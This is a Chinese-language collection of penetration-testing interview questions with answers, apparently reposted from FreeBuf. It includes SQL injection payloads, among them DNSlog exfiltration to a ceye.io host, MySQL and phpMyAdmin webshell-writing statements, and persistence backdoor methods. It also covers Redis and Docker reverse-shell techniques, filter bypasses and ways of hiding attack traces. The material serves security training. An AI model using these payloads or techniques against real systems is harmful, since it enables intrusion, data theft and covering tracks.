可領全套安全課程、配套攻防靶場
前言
近期也是一個就業高峰期,整理了一些面試時喜歡問的問題,總結了一下。希望對你們會有幫助~
崗位分析
整體安全行業,隨著網絡安全的大火,Web安全入門淺,培訓機構遍地開會,大量花裡胡哨的人才都爭著用了進來,所以想要突出,必須要有自己的一技之長。
那麼當前網絡安全的技術崗位,熱門方向有很多,說幾個例子。
逆向 APT 代碼審計 區塊鏈 滲透(不限於內網、CS客戶端,APP,小程序,微服務等)
常見面試題及參考
問:MySQL寫WebShell有幾種方式,利用條件
答:
一、
union select 後寫入
lines terminated by 寫入
lines starting by 寫入
fields terminated by 寫入
COLUMNS terminated by 寫入
二、
root權限
GPC關閉(能使用單引號),magic_quotes_gpc=On
有絕對路徑(讀文件可以不用,寫文件必須)
沒有配置–secure-file-priv
成功條件:有讀寫的權限,有create、insert、select的權限
問:Sql 注入無回顯的情況下,利用 DNSlog,mysql 下利用什麼構造代碼,mssql 下又如何?
答:
(1)沒有回顯的情況下,一般編寫腳本,進行自動化注入。但與此同時,由於防火牆的存在,容易被封禁IP,可以嘗試調整請求頻率,有條件的使用代理池進行請求。
(2)此時也可以使用 DNSlog 注入,原理就是把服務器返回的結果放在域名中,然後讀取 DNS 解析時的日誌,來獲取想要的信息。
(3)Mysql 中利用 load_file() 構造payload
‘ and if((select load_file(concat(‘\\\\\\\\’,(select database()),’.xxx.ceye.io\\\\abc’))),1,0)#
(4)Mssql 下利用 master..xp_dirtree 構造payload
DECLARE @host varchar(1024);SELECT @host=(SELECT db_name())+’.xxx.ceye.io’;EXEC(‘master..xp_dirtree”\\’+@host+’\\foobar$”‘);
問:phpmyadmin寫sehll的方法
答:
一、常規導入shell的操作
創建數據表導出shell
CREATE TABLE `mysql`.`shadow9` (`content` TEXT NOT NULL );
INSERT INTO `mysql`.`shadow9` (`content` ) VALUES (‘’);
SELECT `content` FROM `shadow9` INTO OUTFILE ‘C:\\\\phpStudy\\\\WWW\\\\90sec.php’;
DROP TABLE IF EXISTS `shadow9`;
二、一句話導出shell:
<code>select '' into outfile 'c:/phpstudy/www/90sec.php'; select '' into outfile 'c:\\\\phpstudy\\\\www\\\\90sec.php'; select '' into dumpfile 'c:\\\\phpstudy\\\\www\\\\bypass.php';/<code>
三、日誌備份獲取shell
<code>show global variables like "%genera%"; //查詢general_log配置 set global general_log='on'; //開啟general log模式 SET global general_log_file='D:/phpStudy/WWW/cmd.php'; //設置日誌文件保存路徑 SELECT ''; //phpinfo()寫入日誌文件 set global general_log='off'; //關閉general_log模式/<code>
問:權限維持的方法
答:
留自啟動後門方法很多,大多數都添加到服務,加註冊表 加啟動項,
windows:
1.替換系統文件類(shift後門,放大鏡後門)
2.修改註冊表類
自啟動項、屏幕保護程序註冊表、用戶登陸初始化、登錄腳本、映像劫持、影子賬戶、AppCertDlls註冊表項、AppInit_DLLs註冊表項、文件關聯、用戶登陸初始化、xx.Netsh Helper DLL
3.文件類
自啟動文件夾、office Word StartUp劫持
4.計劃任務
schtasks 、WMI、bitsadmin
Linux
1.預加載型動態鏈接庫後門
2.strace後門
3.SSH 後門
4.SUID後門
5.inetd服務後門
6.協議後門
7.vim後門
8.PAM後門
9.進程注入
10.Rootkit
11.端口複用
MSF權限維持
1.Persistence模塊
2.Metsvc 模塊
Powershell權限維持
CS權限維持
SC命令
問:XXE 漏洞原理,代碼審計如何尋找?
答:
(1)XXE (XML 外部實體注入)當 應用允許引用 XML 外部實體時,攻擊者通過構造惡意內容,就可能進行任意文件讀取、系統命令執行、內網端口探測、內網網站攻擊等操作。
支持的協議如下圖:
Java :支持http、https、file、ftp、mailto、jar、netdoc、(1.8不支持gopher)
(2)審計函數,涉及到XML文件處理,都可能造成 XXE
(3)防禦方法:禁用外部實體
問:SSRF 禁用 127.0.0.1 後如何繞過,支持哪些協議?
答:
(1)利用進制轉換
(2)利用DNS解析
(3)利用句號(127。0。0。1)
(4)利用[::](http://[::]:80/);
(5)利用@(http://[email protected]);
(6)利用短地址(http://dwz.cn/11SMa);
(7)協議(Dict://、SFTP://、TFTP://、LDAP://、Gopher://)
問:應急響應如何查找挖礦病毒,如何通過進程找到挖礦文件
答:
(1)任務管理器netstat -anp尋找異常進程PID看端口信息,然後根據端口信息定位到文件,cd /proc/PID (ls -l查看),
禁用可疑的服務項。
(2)windows還可以用wmic分析進程參數
問:struts2框架漏洞原理
答:
(1)struts是java的web框架
(2)採取OGNL表達式,處理view層數據字符串到controller層轉換成java對象
(3)重點關注的編號加粗如下
S2-057 影響範圍非常小
S2-048 影響範圍非常小
S2-046 和S2-045一樣
S2-045 影響範圍較大—-通過Content-Type這個header頭,進而執行命令,通過Strus2對錯誤消息處理進行回顯
S2-037 影響範圍小
S2-032 影響範圍小
S2-020 影響範圍小
S2-019 影響範圍一般
S2-016 影響範圍非常大
S2-013 S2-016範圍內
S2-009 S2-016範圍內
S2-005 S2-016範圍內
問:JAVA反序列化原理
答:
(1)Java序列化指Java對象轉換為字節序列的過程
(2)Java反序列化指字節序列恢復為Java對象的過程
(3) Commons-collections 爆出第一個漏洞開始,Java反序列化漏洞的事件就層出不窮。
(4)在Java中,利用ObjectInputStream的readObject方法進行對象讀取
(5)可以深入瞭解 ysoserial有哪些gadgets
問:cors如何產生,有哪些利用方式?繞過同源策略的方法有哪些?jsonp跨域如何利用?
答:
(1)CORS全稱是”跨域資源共享”(Cross-origin resource sharing),Origin源未嚴格,從而造成跨域問題,允許瀏覽器向跨源服務器,發出XMLHttpRequest請求
(2)Origin為*的時候,使用curl測試CORS,
curl
再尋找的api接口是否有敏感信息洩漏。
(3)同源:協議相同、域名相同、端口相同,繞過同源策略限制的方法:
1、document.domain屬性
2、片段識別符(URL後加#號)
3、window.name
4、跨文檔通信API
5、JSONP
6、CORS
7、WebSockets
(4)jsonp跨域利用:獲取JSON數據並編碼發送到遠程服務器上
問:phar協議如何利用,php偽協議input與post數據包發送有什麼區別?
答:
(1)可以Bypass一些waf,繞過上傳限制
(2)Phar反序列化,Phar:// 偽協議讀取phar文件時,會反序列化meta-data儲存
(3) 區別
一、 application/x-www-form-urlencoded 或 multipart/form-data時
php://input 中是原始數據。
$_POST 中是關聯數組,且沒有上傳控件的內容。
二、enctype=”multipart/form-data” 時
php://input 是無效的。
三、 Content-Type = “text/plain”時
$_POST 不能獲取post的數據, php://input可以。
問:內網服務器,如何進行信息收集
答:
(1)手動,用一些小工具(批量看存活)
new user /domain查域、net view看共享、hosts文件內網ip域名映射、wifi記錄和密碼、瀏覽器中的密碼、敏感文件、各類服務的配置文件中信息、歷史命令、ssh私鑰、FTP的連接信息、xshell等ssh連接工具的session文件,3389連接歷史和被連接歷史信息、某些內網api接口未授權訪問
(2)掃描器
主機掃描、端口掃描、漏洞掃描、識別內網環境、密碼爆破、抓密碼
(3)留後門,抓信息
問:內網黃金票據、白銀票據的區別和利用方式
答:
(1)白銀票據:抓取到了域控服務hash的情況下,在客戶端以一個普通域用戶的身份生成TGS票據,並且是針對於某個機器上的某個服務的,生成的白銀票據,只能訪問指定的target機器中指定的服務。
黃金票據:直接抓取域控中賬號的hash,來在client端生成一個TGT票據,那麼該票據是針對所有機器的所有服務。
(2)通過mimkatz執行,導出域控中賬號的Hash
問:docker遠程api漏洞原理
答:
(1)docker swarm 是一個將docker集群變成單一虛擬的docker host工具,使用標準的Docker API,能夠方便docker集群的管理和擴展,該未授權訪問,可以通過url操作,執行docker命令。
(2)通過docker client執行目標服務器容器命令,docker是以root權限運行的
一、有運行ssh服務,/root/.ssh目錄掛載到container內,,然後修改/.ssh/authorized_keys 文件,把自己的public key寫進去
二、沒有運行ssh服務,利用掛載寫crontab定時任務,反彈一個shell
問:ssrf怎麼用redis寫shell
答:
(1)SSRF服務端請求偽造
一、對內網掃描,獲取 banner
二、攻擊運行在內網的應用,主要是使用 GET 參數就可以實現的攻擊(比如 Struts2,sqli 等)
三、利用協議讀取本地文件
四、 雲計算環境AWS Google Cloud 環境可以調用內網操作 ECS 的 API
(2)如webligic SSRF漏洞
通過SSRF的gopher協議操作內網的redis,利用redis將反彈shell寫入crontab定時任務,url編碼,將\\r字符串替換成%0d%0a
問:預編譯能否100%防sql注入,如果不能,寫一個
答:
不能。
一、
<code>$pdo->query('SET NAMES gbk');
$var = "\\\\xbf\\\\x27 OR 1=1 /*";
$query = 'SELECT * FROM test WHERE name = ? LIMIT 1';
$stmt = $pdo->prepare($query);
$stmt->execute(array($var));/<code>
類似於寬字節注入
二、
<code>$dbh = new PDO("txf");
$name = $_GET['name'];
$stmt = $dbh->prepare('SELECT * FROM ' . $name . ' where username = :username');
$stmt->execute( array(':username' => $_REQUEST['username']) );/<code>
參數name是一串數組,PDO不會生效
三、
$stmt = $dbh->prepare('SELECT * FROM foo ORDER BY :userSuppliedData');
PDO對DDL不生效
問:WAF 繞過
答:
1 註釋替換空格
2 字符集繞過
3 chunked繞過
4 上傳請求 multipart 繞過
5.參數汙染
。。。
問:SQL注入構造payload
答:
一、布爾型盲注
(1)mysql :
‘and (length(database()))>10 –+
(2)oracle:
‘ and 1=(select decode(user,’SCOTT’,1,0) from dual) –
二、時間型盲注
and if(ascii(substr((select database()),1,1))>115,1,sleep(5))
三、利用報錯回顯
(1) extractvalue
and extractvalue(1,concat(0x7e,(select database())))
(2) updatexml
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
問:UDF提權原理
答:利用了root 高權限,創建帶有調用cmd的函數的udf.dll動態鏈接庫,導出 udf.dll 文件後,我們就可以直接在命令框輸入 cmd
問:提權方式
答:
windows:
1.systminfo ,根據系統補丁提權
2.第三方服務提權
3.數據庫提權
。。。
linux:
1.利用系統內核漏洞進行提權
2.洩漏密碼提權
3.sudo提權
4.SUID提權
。。。
問:XSS彈窗函數及常見的 XSS 繞過策略
答:
一、alert,confirm,prompt三種函數
二、繞過策略
1. 大小寫混合
2. 雙寫
3.編碼
4. fuzz 低頻使用標籤 <details>
5. fuzz 低頻使用函數 ontoggle 等
6.
7.%0a或者%0d繞過
問:Windows cmd 如何下載文件
答:
1.certutil.exe
2.powershell
3.bitsadmin
4.vbs
5.ftp
問:SVN/GIT源代碼洩露
答:
(1)在使用SVN管理本地代碼過程中,會自動生成一個名為.svn的隱藏文件夾,其中包含重要的源代碼信息
/.git/config
(2)使用git進行版本控制,對站點自動部署。如果配置不當,可能會將.git文件夾直接部署到線上環境。這就引起了git洩露漏洞
/.svn/entries
問:reverse_tcp 和 bind_tcp 的區別
答:
(1)reverse_tcp
木馬會主動連接目標服務器
(2)bind_tcp
木馬會監聽本地的端口
什麼是fastjson,有哪些漏洞?
答:
(1)Fastjson是Alibaba開發的Java語言編寫的高性能JSON庫
(2)攻擊者準備rmi服務和web服務,將rmi絕對路徑注入到lookup方法中,受害者JNDI接口會指向攻擊者控制rmi服務器,JNDI接口向攻擊者控制web服務器遠程加載惡意代碼,執行構造函數形成RCE
(3)fastjson漏洞歷史
1.fastjson-1.2.24
(fastjson接受的JSON可以通過艾特type字段來指定該JSON應當還原成何種類型的對象,在反序列化的時候方便操作)
2.fastjson-1.248以下
(checkAutoType中使用TypeUtils.getClassFromMapping(typeName)去獲取class不為空,從而繞過了黑名單檢測)
3.fastjson-1.2.60以下
(在此版本以下,字符串中包含\\\\x轉義字符時可以造成dos漏洞)
問:隱藏攻擊痕跡的方法
答:
1.跳板
2.代理服務器
3.Tor
4.日誌
5.清除歷史記錄
6.粉碎文件
理解漏洞
講訴一些近期及有代表性的漏洞
Microsoft Exchange .Net反序列化遠程代碼執行(CVE-2020-0688)
該漏洞是由於Exchange控制面板(ECP)組件中使用了靜態密鑰validationKey和decryptionKey
Apache Tomcat 文件包含漏洞(CVE-2020-1938)
默認情況下,Tomcat會開啟AJP連接器, Tomcat在AJP協議的實現上存在漏洞,導致攻擊者可以通過發送惡意的請求,可以讀取或者包含Web根目錄下的任意文件,配合文件上傳,將導致任意代碼執行(RCE)
Weblogic IIOP反序列化漏洞(CVE-2020-2551)
weblogic核心組件中IIOP協議,通過該協議對存在漏洞的WebLogic進行遠程代碼執行的攻擊
Apache Solr遠程代碼執行(CVE-2019-12409)
默認配置文件solr.in.sh,在其配置文件中ENABLE_REMOTE_JMX_OPTS字段默認配置不安全.如果使用默認配置,將啟用JMX監視服務並將對公網監聽18983的RMI端口,無需任何驗證,配合JMX RMI遠程代碼執行
SHIRO-550 反序列化漏洞
shiro默認使用了CookieRememberMeManager,其處理cookie的流程是:
得到rememberMe的cookie值–>Base64解碼–>AES解密–>反序列化
AES的密鑰是硬編碼在代碼裡,就導致了反序列化的RCE漏洞
SHIRO-721反序列化漏洞
不需要key,利用Padding Oracle Attack構造出RememberMe字段後段的值結合合法的RememberMe cookie即可完成攻擊
泛微Ecology OA SQL注入漏洞
validate.jsp接口的SQL注入,/cpt/manage/validate.jsp
泛微ecology OA系統接口存在數據庫配置信息洩露
/mobile/dbconfigreader.jsp,直接訪問該頁面將為DES加密以後的亂碼,使用DES算法結合硬編碼的key進行解密
Confluence本地文件洩露漏洞(CVE-2019-3394)
catalina.jar中的org.apache.catalina.webresources.StandardRoot.class的getResource方法的validate存在過濾和限制,所以可遍歷路徑均在/WEB-INF下
Apache Dubbo反序列化漏洞(CVE-2019-17564)
當HTTP remoting 開啟的時候,存在反序列化漏洞
轉載自:https://www.freebuf.com/vuls/228750.html
今天你知道了嗎
加群,黑客技術大咖在線解答(群號評論區見)
閱讀更多 暗網視界 的文章